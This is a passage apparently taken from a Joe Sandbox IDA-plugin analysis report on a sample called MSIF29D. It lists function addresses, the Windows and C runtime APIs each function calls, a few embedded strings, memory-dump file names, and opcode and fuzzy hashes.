Instruction Fuzzy Hash: 0B411B32A003159BC364AF29DC94BEAB7D9EF45360F14072AF526C72D0DB30D944EB50

Function 00FF1D9B Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(8F6E4A30,?,00000000,?), ref: 00FF1DFE

Part of subcall function 00FEA9BB: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00FE6F5E,?,00000000,-00000008), ref: 00FEAA67

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00FF2059
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00FF20A1
GetLastError.KERNEL32 ref: 00FF2144

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 920b46321aeaae0512cdfae99e9d54bed0c8fea23a7c37f672ed0dd0d1c551b3
Instruction ID: f105de05c473317c6a61e81ffc9ceb3f8730430d661f39599f195f5450927878
Opcode Fuzzy Hash: 920b46321aeaae0512cdfae99e9d54bed0c8fea23a7c37f672ed0dd0d1c551b3
Instruction Fuzzy Hash: 4ED167B6D002489FCB15CFA8D880AADBBB5FF09310F18452AEA55EB361DB30A941DB50

Function 00FC35F7 Relevance: 6.3, APIs: 4, Instructions: 282COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00FC35FE
_strcspn.LIBCMT ref: 00FC3666
_strcspn.LIBCMT ref: 00FC3686
ctype.LIBCPMT ref: 00FC36E4

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID:
API String ID: 838279627-0
Opcode ID: 9617c0bc9ec3bfa49343535f7b9d1f4afd0ed7a80811105dbc55212f5b82acec
Instruction ID: 91b9094f66b65b838c17283d071d22b15fe94ce18cbda61e9f59da7859e7c175
Opcode Fuzzy Hash: 9617c0bc9ec3bfa49343535f7b9d1f4afd0ed7a80811105dbc55212f5b82acec
Instruction Fuzzy Hash: 32B15CB5D0025ADFDF11DF94CA82EEEBBB5FF48350F148019E805AB251D734AA45EB60

Function 00FBDA6F Relevance: 6.3, APIs: 4, Instructions: 279COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00FBDA76
_strcspn.LIBCMT ref: 00FBDADE
_strcspn.LIBCMT ref: 00FBDAFE
ctype.LIBCPMT ref: 00FBDB5C

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID:
API String ID: 838279627-0
Opcode ID: e21e681eff894d116bb5b172775cce18bbd72d0235e61c7172ad000b1dc69a16
Instruction ID: 25900eaaa3ef9a8f35dfae3fc01ff159c0592268eeed6f64da3ad0efead6ebe7
Opcode Fuzzy Hash: e21e681eff894d116bb5b172775cce18bbd72d0235e61c7172ad000b1dc69a16
Instruction Fuzzy Hash: E1B16975D002499FDF10DF99CD81AEEBBB9EF48310F144019E805AB216E774AE46EFA1

Function 00FD5A58 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00FD5B1F
___AdjustPointer.LIBCMT ref: 00FD5B42
___AdjustPointer.LIBCMT ref: 00FD5BDE

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: eca770ad8dff528e5f9364d43a75d550d84ef6066c71b3b7e7ec696644e53c46
Instruction ID: ac8ff7c67a4527f049a8f9b20a571623974b564df4454ab4a208c1d876d244e8
Opcode Fuzzy Hash: eca770ad8dff528e5f9364d43a75d550d84ef6066c71b3b7e7ec696644e53c46
Instruction Fuzzy Hash: 6951E476A00B169FDB298F54D841B7A77A6EF80B21F1C452FE8454B391E735EC40EB50

Function 00FE24E8 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95415baaa540fa1b5051eabbe5e6754819371e56fe4623703cfc7b77d26f8a07
Instruction ID: 8f134b08f727489e97954063b99ca385fcda2cb10750d0d75f83f571c78bdfdc
Opcode Fuzzy Hash: 95415baaa540fa1b5051eabbe5e6754819371e56fe4623703cfc7b77d26f8a07
Instruction Fuzzy Hash: 2021DEB2A04385AFDB60AF62CE61D2A77ADBF443607184516F8158B250FB30EC10B7A0

Function 00FB6FB0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000002,80004005,S-1-5-18,00000008), ref: 00FB6FB7

Strings

Last error=, xrefs: 00FB7011
> returned:, xrefs: 00FB6FC6
Call to ShellExecute() for verb<, xrefs: 00FB6FC1

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ErrorLast
String ID: > returned:$Call to ShellExecute() for verb<$Last error=
API String ID: 1452528299-1781106413
Opcode ID: f60e4f4949dbc10afeb50a2f4c162240e56049c7853c23aa9b4f53b62e5f9503
Instruction ID: 9f047ae140fd2a8e0a972783262a493b370d15ca472be4bedaf9813950ca4eaf
Opcode Fuzzy Hash: f60e4f4949dbc10afeb50a2f4c162240e56049c7853c23aa9b4f53b62e5f9503
Instruction Fuzzy Hash: 19219249E1022182DB342F29D801379B2E0EF94764F64546FE8C8D7380FBA98C8297A1

Function 00FBCCE0 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000,8F6E4A30), ref: 00FBCD1C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00FBCD3C
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00FBCD6D
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00FBCD86

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: a5754330b93b04f0e19c5a0cc0decedb8e4a8d2715d975a7abcfc4faa872aab0
Instruction ID: 81b6488d9994a4c5240648e47fc70e0f9d69b2eab16f6eb5ce02bbeaad250810
Opcode Fuzzy Hash: a5754330b93b04f0e19c5a0cc0decedb8e4a8d2715d975a7abcfc4faa872aab0
Instruction Fuzzy Hash: E821B174944318ABD721DF54DC09FABBBBCEF05B24F100269F610A72C0DBB46A048BE4

Function 00FBD7E7 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FBD7EE
std::_Lockit::_Lockit.LIBCPMT ref: 00FBD7F8

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

std::_Facet_Register.LIBCPMT ref: 00FBD849
std::_Lockit::~_Lockit.LIBCPMT ref: 00FBD869

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: f85d06722da2166c3e1ea1427904242b048b95086ccab96810334f67a330ad4b
Instruction ID: cb3b5ac35997c9a15a50a12e33dab015170c3f7f7433097e6a87f33cad7641c2
Opcode Fuzzy Hash: f85d06722da2166c3e1ea1427904242b048b95086ccab96810334f67a330ad4b
Instruction Fuzzy Hash: 5C01A172D00119DBCB16FBA5DC42AFE77A5BF80721F240449E5006B291EF78DE01EB92

Function 00FC27A2 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC27A9
std::_Lockit::_Lockit.LIBCPMT ref: 00FC27B3

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

std::_Facet_Register.LIBCPMT ref: 00FC2804
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC2824

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 74786d687f541ff97161b97f0ce4c20145fa7fb732d68b0344e6116cba5bf11b
Instruction ID: 72fe1acc6675f0176c659d669b5aa1caa031dced5fbea6437f07094de8943b2c
Opcode Fuzzy Hash: 74786d687f541ff97161b97f0ce4c20145fa7fb732d68b0344e6116cba5bf11b
Instruction Fuzzy Hash: F901A57190021ADBCB16EBA4CD42BAD7765BF84720F24040DEA00673C2CF789E02EB91

Function 00FBD752 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FBD759
std::_Lockit::_Lockit.LIBCPMT ref: 00FBD763

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

std::_Facet_Register.LIBCPMT ref: 00FBD7B4
std::_Lockit::~_Lockit.LIBCPMT ref: 00FBD7D4

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 600abc6cd49ebfcd02ab4863a5106e767c85ab9f23d8afad0d04d7f2b258c69b
Instruction ID: 032ec4c35e50b3638000965d38986f3863323e4e96a32d75c48259cfa9d98497
Opcode Fuzzy Hash: 600abc6cd49ebfcd02ab4863a5106e767c85ab9f23d8afad0d04d7f2b258c69b
Instruction Fuzzy Hash: F401A176900119DBCB15FBA4CD42AEE77A5BF84720F240509E5046B281EF789A01EB92

Function 00FC270D Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC2714
std::_Lockit::_Lockit.LIBCPMT ref: 00FC271E

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

std::_Facet_Register.LIBCPMT ref: 00FC276F
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC278F

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 284e4d818be6e2be12383c5b2b23720818f5cfafae783b012f5f21f4ad2e8079
Instruction ID: bd1e3d03dd3103461316fb61760ac163792179746df60b6e2d6060a7f1cdaf23
Opcode Fuzzy Hash: 284e4d818be6e2be12383c5b2b23720818f5cfafae783b012f5f21f4ad2e8079
Instruction Fuzzy Hash: B101A17590021ADBCB15FBA4C946BBE7B65BF84720F24050DE51067282CF789A02EB91

Function 00FC28CC Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC28D3
std::_Lockit::_Lockit.LIBCPMT ref: 00FC28DD

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

std::_Facet_Register.LIBCPMT ref: 00FC292E
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC294E

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 2872a3de01247f5c911e38d86e74c39e6303b33aed7f43d908db5234dfcd44e3
Instruction ID: cadc2bfaea280f79bbf9b0a8a7eeae03e2c2c6cc11062ac013f3a14bb416d376
Opcode Fuzzy Hash: 2872a3de01247f5c911e38d86e74c39e6303b33aed7f43d908db5234dfcd44e3
Instruction Fuzzy Hash: 2401A171D0021ADBCB15EBA0CD52BBE7765AF84720F24050DF51067291CF789A02EB91

Function 00FC2837 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC283E
std::_Lockit::_Lockit.LIBCPMT ref: 00FC2848

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

std::_Facet_Register.LIBCPMT ref: 00FC2899
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC28B9

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: f1a88bdca0d9e88e14f6a5bf1471aba08f91391c759145f484365d6233ea3361
Instruction ID: f430e317d140d98109678537e09ec72321cda3af8ee4449ff6fc4700384ef8f4
Opcode Fuzzy Hash: f1a88bdca0d9e88e14f6a5bf1471aba08f91391c759145f484365d6233ea3361
Instruction Fuzzy Hash: 17016171D0011ADBCB15EBA4DE42BBD7766BF84720F24050EF511672D2DF789A01EB91

Function 00FCE96D Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FCE974
std::_Lockit::_Lockit.LIBCPMT ref: 00FCE97E

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

std::_Facet_Register.LIBCPMT ref: 00FCE9CF
std::_Lockit::~_Lockit.LIBCPMT ref: 00FCE9EF

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: e74cda38db3e77226ceb8c021172fc697eb12dfcf0a2e1bfda88f13aa38258d2
Instruction ID: 75ac8fae0956657a5a8c925ab87ada461a2a79cffceb6c967a262f40bd138ba2
Opcode Fuzzy Hash: e74cda38db3e77226ceb8c021172fc697eb12dfcf0a2e1bfda88f13aa38258d2
Instruction Fuzzy Hash: 3501C47290011ADBCB16FBA4DE42BBE7765AF80720F25040DF5406B392CF789E01EB91

Function 00FCEA02 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FCEA09
std::_Lockit::_Lockit.LIBCPMT ref: 00FCEA13

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

std::_Facet_Register.LIBCPMT ref: 00FCEA64
std::_Lockit::~_Lockit.LIBCPMT ref: 00FCEA84

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 9fdc76da4c3e41f8dfae043536aeef64319950fde3b7ec12a1bf4ecd597dfaa2
Instruction ID: 58d58f3442724c030b5873f698ff2ad0dac4556c43893852e60fdb8033d3a117
Opcode Fuzzy Hash: 9fdc76da4c3e41f8dfae043536aeef64319950fde3b7ec12a1bf4ecd597dfaa2
Instruction Fuzzy Hash: A601A172D0021ADFCB15FBA4DA42BAD7765BF84720F29040DE5006B291CF789E01EB91

Function 00FCEBC1 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FCEBC8
std::_Lockit::_Lockit.LIBCPMT ref: 00FCEBD2

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

std::_Facet_Register.LIBCPMT ref: 00FCEC23
std::_Lockit::~_Lockit.LIBCPMT ref: 00FCEC43

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 2c8abf11b2674ed62a5afa511cd698d8a069673c639da9869c5bb6570cede6ee
Instruction ID: 4c56b51e7782231402f3f1e8591051a39c30526373493aa7a3d7ea6bf948e32e
Opcode Fuzzy Hash: 2c8abf11b2674ed62a5afa511cd698d8a069673c639da9869c5bb6570cede6ee
Instruction Fuzzy Hash: CF01A172D0011ADBCB15EBA4CA06BBE7765AF80720F24044DE5106B2C1CF789A01EB91

Function 00FC2BB5 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC2BBC
std::_Lockit::_Lockit.LIBCPMT ref: 00FC2BC6

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

std::_Facet_Register.LIBCPMT ref: 00FC2C17
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC2C37

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 62921a7001a096438d8eb5af0f4ed7e29c4fc5b4e3171ebd59b2ecb18c3a3a9c
Instruction ID: 33f609220f6daa13e9c93865a7577058cb4d836fd7ed8d7022d6e6e5193fb0bf
Opcode Fuzzy Hash: 62921a7001a096438d8eb5af0f4ed7e29c4fc5b4e3171ebd59b2ecb18c3a3a9c
Instruction Fuzzy Hash: 8C01A17190021ADBCB1AEBA4DD42BBE7765AF84720F24440DE50067291CF789E01EB91

Function 00FC2CDF Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FC2CE6
std::_Lockit::_Lockit.LIBCPMT ref: 00FC2CF0

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

std::_Facet_Register.LIBCPMT ref: 00FC2D41
std::_Lockit::~_Lockit.LIBCPMT ref: 00FC2D61

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

